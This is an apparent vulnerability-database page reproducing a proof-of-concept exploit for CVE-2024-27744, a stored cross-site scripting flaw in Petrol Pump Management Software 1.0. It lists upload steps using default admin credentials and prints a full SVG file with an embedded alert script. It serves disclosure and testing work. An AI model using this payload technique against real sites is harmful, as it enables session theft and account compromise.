Lucene search
K

Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file Vulnerability

🗓️ 04 Mar 2024 00:00:00Reported by Shubham PandeyType 
zdt
 zdt
🔗 0day.today👁 299 Views

Software v.1.0 - Stored Cross Site Scripting via SVG file Vulnerability allows arbitrary code execution in Petrol Pump Management Software via crafted payload to image parameter in profile.ph

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
Petrol Pump Management Software Cross-Site Scripting Vulnerability
1 Mar 202400:00
cnnvd
CVE
CVE-2024-27744
1 Mar 202400:00
cve
Cvelist
CVE-2024-27744
1 Mar 202400:00
cvelist
Exploit DB
Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file
3 Mar 202400:00
exploitdb
NVD
CVE-2024-27744
1 Mar 202422:15
nvd
OSV
CVE-2024-27744
1 Mar 202422:15
osv
Packet Storm
Petrol Pump Management Software 1.0 Cross Site Scripting
4 Mar 202400:00
packetstorm
Prion
Cross site scripting
1 Mar 202422:15
prion
RedhatCVE
CVE-2024-27744
23 May 202509:38
redhatcve
Vulnrichment
CVE-2024-27744
1 Mar 202400:00
vulnrichment
Rows per page
# Exploit Title: Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file 
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27744
# Description: Cross Site Scripting vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the image parameter in the profile.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default [email protected] and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/profile.php"
4. Upload the xss.svg file in "Image" field
5. Stored XSS will be present in "
http://localhost/fuelflow/assets/images/xss.svg" page
6. The content of the xss.svg file is given below:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS by Shubham Pandey");
  </script>
</svg>
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27744.md

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation